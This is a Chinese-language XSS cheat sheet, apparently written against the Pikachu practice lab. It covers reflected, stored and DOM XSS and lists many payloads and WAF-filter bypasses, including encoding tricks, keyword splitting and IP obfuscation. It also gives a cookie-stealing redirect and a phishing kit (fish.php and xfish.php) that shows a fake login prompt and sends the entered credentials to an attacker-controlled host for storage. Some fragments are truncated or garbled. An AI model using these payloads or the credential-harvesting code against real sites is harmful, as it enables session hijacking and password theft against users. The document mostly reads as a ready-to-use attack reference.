简介
跨站脚本攻击(Cross-Site Scripting,简称XSS)作为一种广泛存在的web应用程序安全漏洞,其机制在于利用了客户端与服务器之间数据交换过程中的信任链被恶意破坏。该类攻击的核心原理是攻击者通过向Web应用程序注入精心构造的、能够在受害者浏览器环境下执行的恶意脚本代码。这些注入的脚本在用户无意识的情况下被执行,不仅能够非法获取用户的cookies、session令牌等身份认证信息,还可能操纵用户的浏览器发起进一步的非授权操作,对用户隐私和网站安全性构成严重威胁。
反射型XSS(Non-persistent XSS)
这种类型的XSS攻击依赖于用户点击由攻击者精心构造的带有恶意脚本参数的URL,而这些URL通常伪装成合法链接或者嵌入在电子邮件、即时消息等载体中。当服务器接收到这样的请求后,未经验证就将含有恶意脚本的数据直接反映在响应页面中,进而触发执行。
1
| http://example.com/search?q=<script>alert('你已被黑客入侵');</script>
|
存储型XSS(Persistent or Stored XSS)
存储型XSS具有持久性特点。攻击者将恶意脚本永久地存储在目标服务器上,每当任何用户访问到包含此类恶意内容的页面时,浏览器都会执行其中的恶意脚本。
1
| <script>alert(document.cookie);</script>
|
基于DOM的XSS(DOM-Based XSS)
这种类型的XSS不涉及服务器端的数据存储,而是发生在客户端层面,即浏览器解析和动态修改DOM树的过程中。如果Web应用程序错误地使用来自不可信源的数据更新DOM,并且没有实施恰当的防御措施,攻击者就可以利用DOM-XSS漏洞注入恶意脚本。
不涉及服务器端,而是由前端JavaScript代码错误处理用户输入导致的。当浏览器DOM解析过程中引入了不可信的数据并且没有正确地对其进行净化,就会产生DOM-Based XSS。
xss无过滤常见标签
弹窗
1 2 3 4
| <script>alert("1");</script> <script>prompt("2");</script> <script>console.log("3");</script> <script>confirm("1");</script>
|
JS支持unicode编码,但是不可以对script标签进行编码
XSS获取cookie
1
| '"><script>document.location.href='http:
|
XSS钓鱼
1
| <script src="http://192.168.31.172/pikachu/pkxss/xfish/fish.php"></script>
|
file:fish.php1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
header('Content-type:text/html;charset=utf-8'); header("WWW-Authenticate: Basic realm='认证'"); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}"); } ?>
|
file:xfish.php1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); include_once '../inc/config.inc.php'; include_once '../inc/mysql.inc.php'; $link=connect(); if(!empty($_GET['username']) && !empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; $referer=""; $referer.=$_SERVER['HTTP_REFERER']; $time=date('Y-m-d g:i:s'); $query="insert fish(time,username,password,referer) values('$time','$username','$password','$referer')"; $result=mysqli_query($link, $query); } ?>
|
常用
file:base.js1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <scirpt>alert("xss");</script>
#图片加载错误触发 <img src="x" onerror=alert(1)> <img src="1" onerror=eval("alert('xss')")>
#鼠标指针移动到元素时触发 <img src=1 onmouseover="alert(1)"> #鼠标指针移出时触发 <img src=1 onmouseout="alert(1)">
#js伪协议 <a href="javascript:alert('xss');">xss</a> <iframe src=javascript:alert('xss');></iframe> <img src=javascript:alert('xss')> <form action="Javascript:alert(1)"><input type=submit>
<input onfocus="alert('xss');"> 竞争焦点,从而触发onblur事件 <input onblur=alert("xss") autofocus><input autofocus> 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <input onfocus="alert('xss');" autofocus> <input value="" onclick=alert('xss') type="text"> <input name="name" value="" onmouseover=prompt('xss') bad=""> <input name="name" value=""><script>alert('xss')</script>
|
XSS过滤绕过
前端过滤:抓包重发或者修改HTML
后端正则过滤:大小写混合输入
过滤空格
用/
替代
<img/src="x"/onerror=alert("xss");>
过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
1 2 3 4
| eval字符拼接 <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)"> top字符拼接 <script>top["al"+"ert"](`xss`);</script>
|
编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| Unicode编码绕过 <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制绕过 <img src=x onerror=alert('\170\163\163')>
base64绕过 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
过滤双引号,单引号
如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
1
| <img src="x" onerror=alert(``xss``);>
|
使用编码绕过,具体看上面列举的例子
过滤括号
当括号被过滤的时候可以使用throw
来绕过
1
| <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
|
过滤url地址
1 2 3 4 5 6 7 8 9 10
| 使用url编码 <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> 使用IP <img src="x" onerror=document.location=`http://2130706433/`>十进制 <img src="x" onerror=document.location=`http://0177.0.0.01/`>八进制 <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>十六进制 <img src="x" onerror=document.location=`//www.baidu.com`>html标签中用 使用\ (注意:在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议) 使用中文逗号代替英文逗号 <img src="x" onerror="document.location=http://www。baidu。com">
|
xxxxxxxxxx ]> &xxe;xml
' oninput=alert("1")//
,' onclick='alert(document.cookie)'//
绕过尖括号的实体化,用'
闭合
"> <a href=javascript:alert()>xxx</a> <"
绕过on和<script过滤
href的隐藏属性自动Unicode解码 绕过"
、script
、on
、src
、href
html编码
后的内容可以绕过后端的过滤,但拼接到前端后,就会被浏览器解码,重新变回字母。例如javascript:alert(8)
<input name="t_sort" value="'.$str33.'" type="hidden">
对于隐藏且过滤<>
的,使用" oninput=alert('1') type="text
“闭合,注意要有空格
<img src=1 onerror=alert(document.cookie)>
图片加载报错
<img src=1 onmouseover="alert(1)">
鼠标指针移动到元素时触发
<img src=1 onmouseout="alert(1)">
鼠标指针移出时触发
左右尖括号和单引号都被html编码javascript:alert(document.cookie)
'><img src='#' onerror="alert('xss')">